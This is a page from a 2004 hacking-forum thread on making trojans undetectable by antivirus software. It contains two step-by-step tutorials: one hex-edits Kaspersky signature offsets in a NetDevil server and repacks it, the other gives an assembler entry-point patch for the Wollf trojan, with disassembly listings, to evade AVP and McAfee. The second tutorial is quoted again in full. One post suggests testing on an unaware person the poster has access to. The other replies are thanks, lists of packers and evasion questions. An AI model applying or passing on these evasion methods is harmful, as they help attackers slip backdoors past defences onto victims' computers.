Help
Search
Members
Calendar

Welcome Guest ( Log
In | Register
)

Resend
Validation Email

GovernmentSecurity.org -> The
Archives -> Exploit
Articles

Pages:
(5) «
First ... 2 3 [4] 5  (
Go
to first unread post )

How To Trick Anti-virus Systems ...., Makeing things
undetectable...

Track
this topic | Email
this topic | Print
this topic

yeyo

Posted: Jan 9 2004, 03:49 AM

Private

Group: Trial Members
Posts: 15
Member No.:
10436
Joined: 8-October
03

Thanks a lot 4 it ;)

I was looking 4 something
like this :D

matiano

Posted: Jan 10 2004, 04:42
AM

Private First
Class

Group: Members
Posts: 30
Member No.:
8407
Joined: 21-September
03

a) Avp Offset Finder ( a Program By Senna Spy)
www.sennaspy.cjb.net
a Good Hex editor (Hex Workshop is Propably the
best) .
c) Stealth tools : yes ! , We still have a use for this
d)
a Testing machine ( Be it an Extra Computer u own , or some totally
unaware Person u have permenant Access to.
e) an unpacked Version of
your Trojan Server , Before editing or anything .

Procedure ;-

1-Disable KAV monitor .
2-copy Avpoffset.exe along with your
unpacked trojan to The Avpbases folder Usually C:\Program Files\Common
Files\AVP Shared Files\Bases
3- Open a command prompt, Browse to that
Folder & type Avpoffset servername.exe & hit enter .
4- Watch
as the Program Extracts the Stored Signatures from AVC files (this Can
Take a long time with large files ,depending on your CPU speed &
Available memory).
5-I will takea vetdevil 1.4 Server as an Example
for this, it has now turned to be a Very notorious Trojan among Antivirus
companies & Kav especially chooses very specific Signatures which will
identify about any type of Netdevil 1.4 Servers

Server.exe
infected: Backdoor.NetDevil.14

Signature 1 found:
Offset:
511854 ( 7CF6Eh)
Length: 7 ( 7h)
Checksum: (2FCC5587h)

Signature 2 found:
Offset: 515903 ( 7DF3Fh)
Length: 255 (
FFh)
Checksum: (5574DDD9h)

--------------------------------------------
6- After Opening
Netdevil Server for editing with hex Workshop , We search for both offsets
511854 & 515903
,Picture it as Jumping to line 511854 in the
Program Code ,press CTRL + G & type the offset number dec value of
Course , We need to Modify a Single byte , highlight the first two
characters after your mouse cursor ,thats it , in the Lower left pane of
Hex workshop you will see various info about that section of the file ,
Thats where u need to play with , we will notice Kav Signatures are in
most cases very Important Sections of the trojan , Basic Functions ,
Etc..., thats Because those Guys arent Kidding , this leads us to the fact
that Overhexing this Single byte Could Result in a corrupted Server , so
take it easy , I found that modifying the Msdos date or msdos time of that
byte can do the job without destroying the Server , ,Just play around ,
But make sure the modifications Are made to that very Single byte alone ,
or at least Try to , heh .

7- Save your modified trojan , test it
on yourself or on your other test machine , see if it will Work , Try to
Connect to yourself ,Damn , The Server wont Work , Even though the
registry Entry was Written , now thats a bitch Coz we will have to Delete
that File & restore the backup Created by hex workshop ,Restart the
whole thing again , Try to change Both Offsets seperately ,untill your
scan results are negative ,it is a good idea while you are hex editing the
Trojan , search for The notify message For icq , try looking for the text
string UIN http , Etc... Change the Values with Custom text if u want ,
This helps with the notify Problem over Icq , But make sure u have
replaced the Text with Exactly the same number of characters , not one
byte less or more .

8-, now save your Work , Edit your Trojan as
usual , test it Again , hopefully it Works ! , If not Try this , Get a
properly Configured Netdevil Server or whatever Trojan u want to use &
Use Stealth Tools 2.00 to Patch your New Server With The older one , Make
sure both are unpacked & exactly the same Size , hopefully this Will
make the server run ok .

9-Use your Hex Editor To Add Null Bytes (
00 ) as Much as you Like , Or use Stealth tools to Add Those bytes if u
Dont feel Comfortable Using a Hex editor

10- normally proceed ,
Pack your file Using upx + Scramble , Aspack , Fsg is Very Good for small
Servers ,Telock has some Anti debugger / Encryption options , U might want
to experiment with it too , As with some Effort u can make very stealthy
Servers using telock as your packer .

Notes
- what applies to
KAV will in most cases Apply to mcaffee & Tds-3 , Just pack your
Trojan & see if its Detected or not
-Some backdoors Couldnt
possibly pass Antivirus , Something like a 1 kb webdownloader that only
has two Functions , 3 at most Doesnt have much To Edit , Also dont waste
your time with Older Trojans Like Netbus or subseven , or you will be
wasting lots of time , these trojans are VERY hard to make undetected
without having the source code,by Liquid.

tibbar

Posted: Jan 10 2004, 10:51
PM

Staff
Sergeant

Group: Specialist
Posts: 284
Member No.:
11316
Joined: 14-October
03

ok i agree that the morphine / packer approach is
working 100% at moment, but it does corrupt some progs - e.g.
iroffer.

Except for hexing it (which is a nightmare if u want to
beat all AV's, since each uses different sig - although u can beat norton
and the other weak ones just with a post hex pack), what other packers are
there, which will work with iroffer???

also, i'd like to write my
own packer, anyone got a link to an article explaining the principles? (im
good in c++ and vb).

Trojan^kid

Posted: Jan 11 2004, 01:14
AM

Private First
Class

Group: Members
Posts: 47
Member No.:
16062
Joined: 7-January
04

QUOTE

a) Avp Offset Finder ( a Program By
Senna Spy) www.sennaspy.cjb.net

;) Dosnt work ant more
here
is some packers ithink it would help <_<
exe32pack
fsg1.33
aspack2.12
pecrp102

MichT

Posted: Jan 15 2004, 07:54
PM

Private First
Class

Group: Members
Posts: 22
Member No.:
9128
Joined: 26-September
03

thx a lot for this tuto man
it work nice :D

mastervampire

Posted: Jan 15 2004, 09:11
PM

Private

Group: Trial Members
Posts: 14
Member No.:
14149
Joined: 16-December
03

hey how come i cant make a new post in this exploit
forum, says denied or something, and i got new exploit to post :(

Yellow_Blue

Posted: Jan 17 2004, 01:38
AM

Private

Group: Members
Posts: 10
Member No.:
13135
Joined: 1-December
03

yeah cool info
it is very useful so tnx :D

herman2k

Posted: Jan 24 2004, 05:19 PM

Private

Group: Trial Members
Posts: 2
Member No.:
15406
Joined: 29-December
03

all methods does not work with beast 2.05 :huh:

the server makes everytime a
restart :angry:

someone has a solution to this problem ?

Progressor

Posted: Jan 27 2004, 04:17
AM

Private First
Class

Group: Members
Posts: 63
Member No.:
13899
Joined: 14-December
03

Universal method of tricking
antivirus.

I won't explain every command, you'll have to
learn Assembler fo this.

Tools:
Hex redactor - I used Hiew
6.75 (http://webhost.kemtel.ru/~sen)
Fearless PE Tool 0.1 - http://areyoufearless.com/modules.php?op=modload&name=Downloads&file=index&req=getit&lid=125
UPX
packer - http://upx.sourceforge.net/
Brain - must have it, you
can't download it.

I took for example well known trojan wollf v1.6
(www.xfocus.org)

[b]Now, let start:[b]

Wollf is already
packed by an old version of UPX, so we unpack and pack it again by newest
version

of UPX.
Now we are using PE tool and we will find this
info about our trojan:

Entry Point: 00024FD0h
Image Base:
00400000h

Let us open wollf.exe in Hiew, go to disassemble mode
(F4/Decode), go to address Entry Point + Image Base = 00424FD0h, for doing
this press Goto (F5) and type ".00424FD0" (you need this dot before
address, because it is a virtual address). Now we see something like
this:

CODE

.00424FD0: 60

pushad
.00424FD1: BE00804100
mov
esi,000418000  -----^ (1)
.00424FD6: 8DBE0090FEFF
lea
edi,[esi][0FFFE9000]
.00424FDC: 57

push        edi
.00424FDD:
83CDFF
or
ebp,-001;"O"
.00424FE0: EB10
jmps
.000424FF2  -----v
(2)

Now we have to find place for our
patch, scroll down a couple of pages and you'll see a lot of place with
zeros. I choose address 00425147. For edit press F3/F2.
OEP = Entry
Point + Image Base

CODE

.00425147: 68D04F4200
push
000424FD0   <--- push OEP
.0042514C: 50

push
eax
.0042514D: 9C
pushfd
<---for
tricking AVP
.0042514E: 60
pushad

<---for tricking AVP
.0042514F: E800000000
call
.000425154  <----- call for Ret
28h

add another command: Ret 28h you
will see

CODE

.00425154: C22800
retn
00028;" ("

for Save press F9

and we add
another 2 commands
INC ECX
LOOP patch address

CODE

.00425161: 41
inc
ecx  <------- our new Entry
Point
.00425162: E2E3
loop
.000425147

Finally we have our patch:

CODE

.0042513F: 0000
add
[eax],al
.00425141: 0000

add         [eax],al
.00425143:
0000
add
[eax],al
.00425145: 0000
add
[eax],al
.00425147: 68D04F4200
push
000424FD0  -----^ (1)
.0042514C: 50

push        eax
.0042514D: 9C

pushfd
.0042514E: 60

pushad
.0042514F: E800000000
call
.000425154  -----v (2)
.00425154: C22800
retn
00028;" ("
.00425157: 0000

add         [eax],al
.00425159:
0000
add
[eax],al
.0042515B: 0000
add
[eax],al
.0042515D: 0000
add
[eax],al
.0042515F: 0000

add         [eax],al
.00425161:
41
inc         ecx
<------- our new Entry
Point
.00425162: E2E3
loop
.000425147  -----^ (3)
.00425164: 0000

add         [eax],al
.00425166: 0000

add
[eax],al
.00425168: 0000
add
[eax],al

And last thing we should do, we
open the file in PE tool and change Entry Point:
Entry Point = Offset -
Image Base = 00425161 - 00400000 = 0025161h

Now, if you can unpack
the file with UPX, then I suppose you did it right. (don't forget to
backup

your file or you'll have to make this patch
again.)

I tested patched file on McAfee Virusscan Pro 7.03, it
doesn't detect our trojan.
Enjoy.

Double-=V=-

Posted: Jan 27 2004, 09:36
AM

Private First
Class

Group: Members
Posts: 102
Member No.:
8488
Joined: 22-September
03

QUOTE (Progressor @ Jan 27 2004, 09:17 AM)

Universal method of tricking
antivirus.

I won't explain every command, you'll have
to learn Assembler fo this.

Tools:
Hex redactor - I
used Hiew 6.75 (http://webhost.kemtel.ru/~sen)
Fearless PE Tool
0.1 - http://areyoufearless.com/modules.php?op=modload&name=Downloads&file=index&req=getit&lid=125
UPX
packer - http://upx.sourceforge.net/
Brain - must have
it, you can't download it.

I took for example well known
trojan wollf v1.6 (www.xfocus.org)

[b]Now, let
start:[b]

Wollf is already packed by an old version of UPX,
so we unpack and pack it again by newest version

of
UPX.
Now we are using PE tool and we will find this info about
our trojan:

Entry Point: 00024FD0h
Image Base:
00400000h

Let us open wollf.exe in Hiew, go to disassemble
mode (F4/Decode), go to address Entry Point + Image Base =
00424FD0h, for doing this press Goto (F5) and type ".00424FD0" (you
need this dot before address, because it is a virtual address). Now
we see something like this:

CODE

.00424FD0: 60

pushad
.00424FD1: BE00804100
mov
esi,000418000  -----^ (1)
.00424FD6:
8DBE0090FEFF
lea
edi,[esi][0FFFE9000]
.00424FDC: 57

push        edi
.00424FDD:
83CDFF
or
ebp,-001;"O"
.00424FE0: EB10

jmps       .000424FF2  -----v (2)

Now we have to find place for
our patch, scroll down a couple of pages and you'll see a lot of
place with zeros. I choose address 00425147. For edit press
F3/F2.
OEP = Entry Point + Image Base

CODE

.00425147: 68D04F4200
push
000424FD0   <--- push
OEP
.0042514C: 50
push
eax
.0042514D: 9C

pushfd
<---for tricking AVP
.0042514E: 60

pushad
<---for tricking
AVP
.0042514F: E800000000
call
.000425154  <----- call for Ret
28h

add another command: Ret 28h
you will see

CODE

.00425154: C22800

retn        00028;"
("

for Save press F9

and
we add another 2 commands
INC ECX
LOOP patch address

CODE

.00425161: 41

inc         ecx  <-------
our new Entry Point
.00425162: E2E3

loop       .000425147

Finally we have our
patch:

CODE

.0042513F: 0000

add         [eax],al
.00425141: 0000

add
[eax],al
.00425143: 0000
add
[eax],al
.00425145: 0000

add         [eax],al
.00425147:
68D04F4200
push        000424FD0
-----^ (1)
.0042514C: 50

push        eax
.0042514D: 9C

pushfd
.0042514E: 60

pushad
.0042514F: E800000000
call
.000425154  -----v (2)
.00425154: C22800

retn        00028;"
("
.00425157: 0000
add
[eax],al
.00425159: 0000

add         [eax],al
.0042515B:
0000
add
[eax],al
.0042515D: 0000
add
[eax],al
.0042515F: 0000

add         [eax],al
.00425161:
41
inc
ecx           <------- our
new Entry Point
.00425162: E2E3
loop
.000425147  -----^ (3)

.00425164: 0000
add
[eax],al
.00425166: 0000

add         [eax],al
.00425168: 0000

add
[eax],al

And last thing we should do,
we open the file in PE tool and change Entry Point:
Entry Point =
Offset - Image Base = 00425161 - 00400000 = 0025161h

Now, if
you can unpack the file with UPX, then I suppose you did it right.
(don't forget to backup

your file or you'll have to make
this patch again.)

I tested patched file on McAfee Virusscan
Pro 7.03, it doesn't detect our trojan.
Enjoy.

Thanks after reading it 4 times i
think i understand it :)

phaeton

Posted: Jan 27 2004, 08:05
PM

Private First
Class

Group: Members
Posts: 130
Member No.:
18959
Joined: 27-January
04

Thanks for the infos Progressor, I will try this out,
but is there a way of hiding a .sys file from AVs?

Krogoth

Posted: Jan 28 2004, 03:29
AM

Private First
Class

Group: Members
Posts: 71
Member No.:
14929
Joined: 23-December
03

i'll give upx a try, thanks --Elite--.
nice piece
of info Progressor. i'll read first and then try as suggested but need
McAfee AV for the installation in my box for this experiment. thank you.

Progressor

Posted: Jan 28 2004, 06:34
AM

Private First
Class

Group: Members
Posts: 63
Member No.:
13899
Joined: 14-December
03

QUOTE

Thanks for the infos Progressor, I
will try this out, but is there a way of hiding a .sys file from
AVs?

In this case you'll have to
find an exact signature used by AV for detection and change it. I don't
know another way.

phaeton

Posted: Jan 28 2004, 09:26
AM

Private First
Class

Group: Members
Posts: 130
Member No.:
18959
Joined: 27-January
04

Should I use SoftIce for that?

Progressor

Posted: Jan 29 2004, 04:53
AM

Private First
Class

Group: Members
Posts: 63
Member No.:
13899
Joined: 14-December
03

QUOTE

Should I use SoftIce for that?

No, only HEX editor and/or
disassembler.

1 User(s) are reading this topic (1 Guests and 0
Anonymous Users)

0
Members:

« Next
Oldest | Exploit
Articles | Next
Newest »

Pages:
(5) «
First ... 2 3 [4] 5

Close
Topic Options

Track
this topic
Receive email notification when a reply
has been made to this topic and you are not active on the board.

Subscribe
to this forum
Receive email notification when a new
topic is posted in this forum and you are not active on the board.

Download
/ Print this Topic
Download this topic in different
formats or view a printer friendly version.

Forum
Home Search Help General GSO   - In The
News   - Where are all of the Forums?
(Redirect Forum)   - Political, Religous
& International Discussion (Redirect Forum) The Cork Board   - Network
Security Consultant Directory   -
Network Security Jobs The Archives
- General Network Security   - Internet Anonymity   - HTTP Protocol Security   - Linux Security   - MS IIS Information   - Programming / Tool Design   - GSO Software Projects   - Microsoft Security Questions and Papers
- Public Downloads   - Exploit Articles   - Encryption Information

[ Script Execution time: 0.0831 ]   [ 11 queries used ]
[ GZIP Disabled ]

Powered by Invision Power Board(U)
v1.3 Final © 2003  IPS, Inc.